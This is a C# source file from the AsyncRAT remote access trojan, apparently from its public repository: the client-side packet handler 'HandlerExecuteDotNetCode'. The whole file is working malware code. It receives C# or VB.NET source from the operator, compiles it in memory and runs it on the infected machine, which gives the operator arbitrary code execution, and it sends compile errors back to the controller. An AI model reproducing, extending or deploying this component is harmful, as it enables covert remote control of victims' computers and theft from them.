AsyncRAT-C-Sharp/AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs
2019-05-25 18:40:26 +03:00

88 lines
3.4 KiB
C#

using Client.MessagePack;
using Microsoft.CSharp;
using Microsoft.VisualBasic;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Text;
namespace Client.Handle_Packet
{
public class HandlerExecuteDotNetCode
{
private Dictionary<string, string> providerOptions = new Dictionary<string, string>() {
{"CompilerVersion", "v4.0" }
};
public HandlerExecuteDotNetCode(MsgPack unpack_msgpack)
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "C#":
{
Compiler(new CSharpCodeProvider(providerOptions), unpack_msgpack.ForcePathObject("Code").AsString, unpack_msgpack.ForcePathObject("Reference").AsString.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries));
break;
}
case "VB.NET":
{
Compiler(new VBCodeProvider(providerOptions), unpack_msgpack.ForcePathObject("Code").AsString, unpack_msgpack.ForcePathObject("Reference").AsString.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries));
break;
}
}
}
public void Compiler(CodeDomProvider codeDomProvider, string source, string[] referencedAssemblies)
{
try
{
var providerOptions = new Dictionary<string, string>() {
{"CompilerVersion", "v4.0" }
};
var compilerOptions = "/target:winexe /platform:anycpu /optimize-";
var compilerParameters = new CompilerParameters(referencedAssemblies)
{
GenerateExecutable = true,
GenerateInMemory = true,
CompilerOptions = compilerOptions,
TreatWarningsAsErrors = false,
IncludeDebugInformation = false,
};
var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
if (compilerResults.Errors.Count > 0)
{
foreach (CompilerError compilerError in compilerResults.Errors)
{
Debug.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
compilerError.Line, compilerError.Column, compilerError.FileName));
Packet.Error(string.Format("{0}\nLine: {1}", compilerError.ErrorText,
compilerError.Line));
break;
}
}
else
{
Assembly assembly = compilerResults.CompiledAssembly;
MethodInfo methodInfo = assembly.EntryPoint;
object injObj = assembly.CreateInstance(methodInfo.Name);
object[] parameters = new object[1];
if (methodInfo.GetParameters().Length == 0)
{
parameters = null;
}
methodInfo.Invoke(injObj, parameters);
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
}
}
}